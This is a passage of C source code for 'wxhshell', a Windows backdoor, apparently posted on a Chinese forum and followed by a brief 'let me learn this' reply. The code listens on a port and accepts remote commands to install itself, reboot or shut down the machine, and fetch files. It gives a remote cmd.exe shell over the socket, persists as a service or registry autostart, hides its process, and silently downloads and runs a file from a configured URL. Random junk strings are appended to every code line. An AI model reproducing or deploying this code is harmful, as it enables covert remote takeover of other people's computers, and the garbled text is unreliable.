  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1f=gYzuO)  
  if(DownloadFile(cmd,wsh)) d)Y}>@:W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJ$_lk ~6q  
  else &E5g3lf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t&e{_|i#+  
  } D_zZXbNc  
  else { $X,D(  
di )L[<$DY  
    switch(cmd[0]) { ml }{|Yz  
  z9Rp`z&`E  
  // 帮助 L`TRJ.GaJ  
  case '?': { @_}P-h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jij*x>K>y  
    break; 4ID5q~  
  } _u QOHwn  
  // 安装 C,|,-CY  
  case 'i': { WOL:IZX%  
    if(Install()) g}(L;fy>7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9V*qQS5<p  
    else m^;f(IK5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q*ft7$l&  
    break; /jJw0 5;L  
    } R~ q]JSIC@  
  // 卸载 smo~7;  
  case 'r': { fVpMx4&F   
    if(Uninstall()) ; kI134i=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #!+:!_45  
    else draN0v f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &6nWzF  
    break; 4^|3TntO  
    } "@2-Zdrr1<  
  // 显示 wxhshell 所在路径 1o{Mck  
  case 'p': { 1#+S+g@#  
    char svExeFile[MAX_PATH]; YS"=yye 3e  
    strcpy(svExeFile,"\n\r"); pIqeXY  
      strcat(svExeFile,ExeFile); H$UcF1k<  
        send(wsh,svExeFile,strlen(svExeFile),0); {F.[&/A  
    break; nZYBE030  
    } TAW/zpps$  
  // 重启 h2fNuu"  
  case 'b': { sLxc(d'A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &0JI!bR(  
    if(Boot(REBOOT)) k@W1-D?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @|YH|/RF  
    else { 2g! +<YZ~  
    closesocket(wsh); -6B4sZpzD  
    ExitThread(0); r mg}N  
    } m!HJj>GEo  
    break; JIq=* '  
    } P+/e2Y  
  // 关机 tK\~A,=  
  case 'd': { 0flRh)[J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jdj4\j u  
    if(Boot(SHUTDOWN)) [`7ThHX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 20Wg=p9L  
    else { v`1M[  
    closesocket(wsh); [.wYdv35  
    ExitThread(0); -ZLJeY L  
    } :"/d|i`T  
    break; )\$|X}uny&  
    } U-M>=3|N  
  // 获取shell /IMFO:c  
  case 's': { ~b8]H|<'Y  
    CmdShell(wsh); P/_['7  
    closesocket(wsh); YUk\Q%  
    ExitThread(0); /9fR'EO{x  
    break; 9x =Y^',5  
  } ~Z' ?LV<t  
  // 退出 c{w2Gt!  
  case 'x': { $~T4hv :  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Qt<&WB fn  
    CloseIt(wsh); }0Ed ]  
    break; e$rZ5X  
    } Mb*?5R6;  
  // 离开 d/~9&wLSb  
  case 'q': { _X x/(.O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kE1TP]|  
    closesocket(wsh); }k.Z~1y  
    WSACleanup(); L ~N460  
    exit(1); NK H@+,+V  
    break; ^^ixa1H<  
        } ' S/gmn  
  } :^h$AWR^f  
  } ab?aQ*$+  
x7 ,5  
  // 提示信息 |P?*5xPB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AFwdJte9e  
} + mT_QsLEv  
  } bV3|6]k^  
R.<g3"Lm>  
  return; {E|$8)58i  
} wN~_v-~*Q  
J5,9_uo]  
// shell模块句柄 c@L< Z`u  
int CmdShell(SOCKET sock) dG?*y  
{ \YrUe1  
STARTUPINFO si; $6R-5oQ  
ZeroMemory(&si,sizeof(si)); 5]:U9ts#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nu)NqFG,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <lJ345Q  
PROCESS_INFORMATION ProcessInfo; >Cq<@$I2EB  
char cmdline[]="cmd"; mj7#&r,1l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $VOF Oc  
  return 0; @-`*m+$U6  
} 0?|<I{z2  
*.w 9c  
// 自身启动模式 E}Uc7G  
int StartFromService(void) Q S;f\'1bb  
{ 'i|YlMFIg  
typedef struct >Y@H4LF;1x  
{ EQSQFRk;  
  DWORD ExitStatus; 1<aP92/N&  
  DWORD PebBaseAddress; YKK*ER0  
  DWORD AffinityMask; XfIJ4ZM5  
  DWORD BasePriority; 5~DJWi,  
  ULONG UniqueProcessId; +G>\-tjSD  
  ULONG InheritedFromUniqueProcessId; =~LJ3sIX  
}   PROCESS_BASIC_INFORMATION; +k R4E23:  
[AJJSd/:  
PROCNTQSIP NtQueryInformationProcess; !U Ln7\@  
n|yO9:Uw<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]7c=PC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rEz^  
<qt|d&  
  HANDLE             hProcess; t4-[Z$ n5  
  PROCESS_BASIC_INFORMATION pbi; i SQu#p@  
sU^1wB Rj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pr C{'XDlU  
  if(NULL == hInst ) return 0; ~v6D#@%A  
)%fH(ns(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0jWVp- y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bk{]g=DO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;5( UzQU  
"_?nN"A7  
  if (!NtQueryInformationProcess) return 0; VuZr:-K/  
0JujesUw(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); buHJB*?9  
  if(!hProcess) return 0; Q22 GIr  
ba9?(+i$h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8zq=N#x  
$<[79al#  
  CloseHandle(hProcess); E92-^YY  
?+8\.a!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;722\y(Y  
if(hProcess==NULL) return 0; %J-GKpo/S  
`\ol,B_l  
HMODULE hMod; p5*jzQ  
char procName[255]; |JsZJ9W+J  
unsigned long cbNeeded; KqP#6^ _  
;qV>L=a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,<X9Y2B  
7a}k  
  CloseHandle(hProcess); 2st3  
xD=csJ'(  
if(strstr(procName,"services")) return 1; // 以服务启动 )QJUUn#  
qmP].sA  
  return 0; // 注册表启动 -$g#I  
} NwfVL4Xg  
tO&^>&;5  
// 主模块 ue>D 7\8  
int StartWxhshell(LPSTR lpCmdLine) JlJ a #  
{ asqV~n  
  SOCKET wsl; aDN` 6[  
BOOL val=TRUE; TkF[x%o  
  int port=0; D)}v@je"yP  
  struct sockaddr_in door; MpOc  
ez[Vm:2K  
  if(wscfg.ws_autoins) Install(); 0tJ Z4(0  
tT._VK]o&R  
port=atoi(lpCmdLine); Ew$C ;&9  
NX&_p!_V  
if(port<=0) port=wscfg.ws_port; lmhLM. 2  
,/U6[P_C5  
  WSADATA data; .X;K%J2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uEx-]F  
(w zQ2Dk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $Y gue5{c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A?0Nm{O;3v  
  door.sin_family = AF_INET; JsS-n'gF'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <{cQ2  
  door.sin_port = htons(port); O&hTNIfi  
bN=P*hdf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A/?7w   
closesocket(wsl); iJ|uvPCE  
return 1; Y|/ 8up  
} VS|2|n1<6  
DIUjn;>k8  
  if(listen(wsl,2) == INVALID_SOCKET) { bs1Rvx1:J%  
closesocket(wsl); \^1E4C\":  
return 1; ]K%!@O!  
} P+HXn8@  
  Wxhshell(wsl); EBmt9S  
  WSACleanup(); nT)vNWT=  
8JUwf  
return 0; m) D|l1AtF  
G]aOHJ:.  
} .tr!(O],h  
y~HP>~Oh  
// 以NT服务方式启动 #Rr%:\*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lUMdrt0@z  
{ i{qgn%#}Y  
DWORD   status = 0; {fp[BF  
  DWORD   specificError = 0xfffffff; uvS)8-o&F  
E<*xx#p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #)VF3T@#'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '4<1 1(U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k==h|\|  
  serviceStatus.dwWin32ExitCode     = 0; @|T'0_'  
  serviceStatus.dwServiceSpecificExitCode = 0; ]J]h#ZHx  
  serviceStatus.dwCheckPoint       = 0; lk80#( :Z  
  serviceStatus.dwWaitHint       = 0; Jfl!#UAD|n  
+qdEq_ m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3T0"" !Q  
  if (hServiceStatusHandle==0) return; f|oh.z_R  
h zn6kbv  
status = GetLastError(); yEQs:v6L~  
  if (status!=NO_ERROR) J4U1t2@)9  
{ 2I{"XB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pI<f) r  
    serviceStatus.dwCheckPoint       = 0; l}M!8:UzU  
    serviceStatus.dwWaitHint       = 0; 1yY0dOoLG)  
    serviceStatus.dwWin32ExitCode     = status; 3HK\BS  
    serviceStatus.dwServiceSpecificExitCode = specificError; kg\ >k2h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U,1-A=Og{o  
    return; f6"Z'{j  
  } J<lO= +mg  
oe~b}:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q- d:TMkc  
  serviceStatus.dwCheckPoint       = 0; *}W_+qo"  
  serviceStatus.dwWaitHint       = 0; Jj%K=sw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LjHVJSC  
} 13/]DF,S"^  
 "-V"=t'  
// 处理NT服务事件,比如:启动、停止 Z;)%%V%o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B4 }bVjs  
{ JOBhx)E  
switch(fdwControl) IMONgFBS  
{ n '6jou  
case SERVICE_CONTROL_STOP: #C@FYO f*  
  serviceStatus.dwWin32ExitCode = 0; ENY+^7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BTrn0  
  serviceStatus.dwCheckPoint   = 0; ;i+#fQO7Q  
  serviceStatus.dwWaitHint     = 0; V Jll  
  { a C)!T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8, >P  
  } d m%8K6|  
  return; X)3!_  
case SERVICE_CONTROL_PAUSE: <p"iY}x[H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @7n"yp*"  
  break; 0_t!T'jr7  
case SERVICE_CONTROL_CONTINUE: b>JDH1)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S ByW[JE  
  break; @U}1EC{A  
case SERVICE_CONTROL_INTERROGATE: -z(+//K:#  
  break; QP J4~  
}; 7Hu3>4<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P7/X|M z  
} FaJ&GOM,  
M\Kx'N  
// 标准应用程序主函数 =_u4=4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Thit  
{ }JAG7L&{  
jW@Uo=I[  
// 获取操作系统版本 }RqK84K  
OsIsNt=GetOsVer(); >[*qf9$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bA->{OPkT  
3? +Hd  
  // 从命令行安装 0{R=9wcc  
  if(strpbrk(lpCmdLine,"iI")) Install(); o{[YA} xc  
#Mw8^FST  
  // 下载执行文件 #>+HlT  
if(wscfg.ws_downexe) { Y:a]00&)#Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f& '  
  WinExec(wscfg.ws_filenam,SW_HIDE); N87B8rDl  
} 12LL48bi  
h.t-`k7  
if(!OsIsNt) { D}/vLw:v  
// 如果时win9x,隐藏进程并且设置为注册表启动 HHsmLo c4  
HideProc(); P";'jVcR  
StartWxhshell(lpCmdLine); 83q6Sv  
} c!9nnTap  
else }vM("v|M  
  if(StartFromService()) XpJ7o=?W3  
  // 以服务方式启动 M/K5#8Arj  
  StartServiceCtrlDispatcher(DispatchTable); Q'0d~6n&{  
else G'A R`"F  
  // 普通方式启动 0"bcdG<}  
  StartWxhshell(lpCmdLine); d>C$+v>  
d/DB nZN  
return 0; D d</`iUq  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八